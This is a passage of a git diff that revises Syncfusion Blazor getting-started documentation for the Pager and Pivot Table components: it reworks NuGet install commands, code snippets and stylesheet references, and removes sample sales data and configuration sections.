-1. Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-2. Ensure the terminal is in the project root directory where the **.csproj** file is located.
-3. Run the following commands to install the required NuGet packages:
-    - [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations)
-    - [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/)
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). For a complete list of packages, refer to [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages).
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -131,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -142,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
+{% endtabcontent %}
 
-To add the **Blazor Pager** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -175,25 +111,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -201,41 +129,40 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
-```
 
-N>
-* Refer to [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) for various methods to reference themes in a Blazor application:
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-    * [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets)
-    * [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference)
-    * [Custom Resource Generator (CRG)](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)
+```
 
-* For script reference options, see [Adding Script References](https://blazor.syncfusion.com/documentation/common/adding-script-references).
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-## Add Blazor Pager component
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pager component
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pager component can be integrated with other components to provide page navigation for large datasets. This example demonstrates integrating the [Pager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html) with the [ListView](https://blazor.syncfusion.com/documentation/listview/getting-started) component.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pager component in the **~/Pages/Index.razor** file. It can be integrated with other components to provide page navigation for large datasets. This example demonstrates integrating the [Pager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html) with the [ListView](https://blazor.syncfusion.com/documentation/listview/getting-started) component.
+
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
 
-```cshtml
 @using Syncfusion.Blazor.Navigations
 
 <SfPager PageSize="5" NumericItemsCount="4" TotalItemsCount="25">
 </SfPager>
-```
 
-**1. Render ListView Component**
+{% endhighlight %}
+{% endtabs %}
+
+**1. Render ListView component**
 
 Add the [ListView](https://blazor.syncfusion.com/documentation/listview/getting-started) component in the **Pages/Index.razor** file and bind it to a collection:
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
 @using Syncfusion.Blazor.Navigations
 @using Syncfusion.Blazor.Lists
 
@@ -281,7 +208,9 @@ Add the [ListView](https://blazor.syncfusion.com/documentation/listview/getting-
         public string Id { get; set; }
     }
 }
-```
+
+{% endhighlight %}
+{% endtabs %}
 
 **2. Add Pager component**
 
@@ -291,12 +220,16 @@ Add the `Pager` component in the same file (**Pages/Index.razor**) below the **L
 * [NumericItemsCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html#Syncfusion_Blazor_Navigations_SfPager_NumericItemsCount) – specifies the count of numeric pager buttons.
 * [TotalItemsCount](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html#Syncfusion_Blazor_Navigations_SfPager_TotalItemsCount) – indicates the total number of records in the data source.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
 @using Syncfusion.Blazor.Navigations
 
 <SfPager PageSize=5 NumericItemsCount=4 TotalItemsCount=25>
 </SfPager>
-```
+
+{% endhighlight %}
+{% endtabs %}
 
 > For additional properties of [Pager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html), refer to the API Reference.
 
@@ -306,7 +239,9 @@ To enable paging functionality, bind the **ListView** data for the current page
 
 The [ItemClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfPager.html#Syncfusion_Blazor_Navigations_SfPager_ItemClick) event is triggered when a pager item is clicked. This event updates the **Skip** and **Take** values dynamically according to the selected page, ensuring that the correct subset of data is displayed in the ListView.
 
-```cshtml
+{% tabs %}
+{% highlight razor tabtitle="Index.razor" %}
+
 @using Syncfusion.Blazor.Data
 @using Syncfusion.Blazor.Navigations
 @using Syncfusion.Blazor.Lists
@@ -369,9 +304,10 @@ The [ItemClick](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigati
     }
 }
 
-```
+{% endhighlight %}
+{% endtabs %}
 
-**4. Run the Application**
+**4. Run the application**
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The **Pager** component will render and enable navigation through the collection.
 
diff --git a/blazor/pivot-table/getting-started-webapp.md b/blazor/pivot-table/getting-started-webapp.md
index a76e50536d..ef620cdc3c 100644
--- a/blazor/pivot-table/getting-started-webapp.md
+++ b/blazor/pivot-table/getting-started-webapp.md
@@ -89,9 +89,20 @@ N> Configure the appropriate [Interactive render mode](https://learn.microsoft.c
 
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*).
 
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+The packages can also be installed using the integrated terminal in Visual Studio Code or the .NET CLI. Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>) or command line:
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.PivotTable --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+To install via Package Manager Console, run the following commands:
 
 {% tabs %}
 {% highlight C# tabtitle="Package Manager" %}
@@ -169,198 +180,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
-<SfPivotView TValue="ProductDetails"></SfPivotView>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Assigning sample data to the Blazor pivot table
-
-To enable users to perform meaningful analysis and generate actionable insights, the Pivot Table component requires a well-structured data source. This data source contains the information you want to analyze and visualize.
-
-For demonstration purposes, a collection of objects containing sales details for various products across different periods and regions has been prepared. This sample data is assigned to the Pivot Table component through the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_DataSource) property under the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code {
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-    }
-
-    public class ProductDetails
-    {
-        public int Sold { get; set; }
-        public double Amount { get; set; }
-        public string Country { get; set; }
-        public string Products { get; set; }
-        public string Year { get; set; }
-        public string Quarter { get; set; }
-
-        public static List<ProductDetails> GetProductData()
-        {
-            List<ProductDetails> productData = new List<ProductDetails>();
-            productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 27, Amount = 46008, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 83496, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 161880, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 127800, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 117576, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 85448, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 20, Amount = 29985, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 70008, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 89, Amount = 60496, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 801880, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 204168, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 737800, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 884168, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 39, Amount = 729576, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 38860, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 93, Amount = 139412, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 61, Amount = 76904, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 43360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 62600, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 93496, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 89576, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 40, Amount = 33360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 75448, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 52345, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 13, Amount = 135612, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 91, Amount = 67824, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 81, Amount = 99904, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 49360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 65, Amount = 69600, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 391880, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 904168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 384168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 45448, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 92345, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 235612, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 90008, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 79, Amount = 90496, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 501880, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 104168, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 837800, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 684168, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 109, Amount = 29576, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 345860, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            return productData;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Adding fields to row, column, value, and filter axes
-
-Organizing fields into appropriate axes transforms raw data into a structured, meaningful Pivot Table that enables users to analyze patterns and trends effectively. With the Pivot Table now initialized and populated with sample data, the next logical step involves organizing the appropriate fields into row, column, value, and filter axes to create a functional data analysis tool.
-
-In the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class, four primary axes play a crucial role in defining and organizing fields from the bound data source to render the Pivot Table component in the desired format.
-
-**Understanding the four axes:**
-
-- [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html) – Collection of fields that will be displayed along the row axis of the Pivot Table.
-- [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html) – Collection of fields that will be displayed along the column axis of the Pivot Table.
-- [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) – Collection of fields that will be displayed as aggregated numeric values within the Pivot Table.
-- [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) – Collection of fields that act as master filters over the data bound to the row, column, and value axes of the Pivot Table.
-
-**Essential field properties:**
-
-To define each field in its respective axis, configure the following basic properties:
-
-* [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Name): Sets the field name from the bound data source. The casing must match exactly as it appears in the data source, otherwise the Pivot Table will not render correctly.
-* [Caption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Caption): Sets the field caption, which serves as the display name for the field in the Pivot Table.
-* [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Type): Sets the summary type for the field. By default, the [SummaryTypes.Sum](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SummaryTypes.html#Syncfusion_Blazor_PivotView_SummaryTypes_Sum) aggregation is applied.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started-webapp#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Applying formatting to a value field
-
-Formatting enhances the readability and presentation of numerical data in a Pivot Table, making it more user-friendly and professional. For example, you can display values with currency symbols or adjust the number of decimal places for greater clarity.
-
-To apply formatting to value fields in a Pivot Table, use the [PivotViewFormatSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_FormatSettings) class. This class accepts a list of [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) objects, each defining formatting rules for a specific field in your data.
-
-Within each [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) object, set the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Name) property to match the exact field name from your value section. Then, specify the desired display format using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Format) property. In the example below, the **Amount** field is configured to display values in currency format using the "C" pattern, which includes currency symbols.
-
-N> Formatting can only be applied to numeric fields in the value section of the Pivot Table.
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@page "/"
+@using Syncfusion.Blazor.PivotView
 
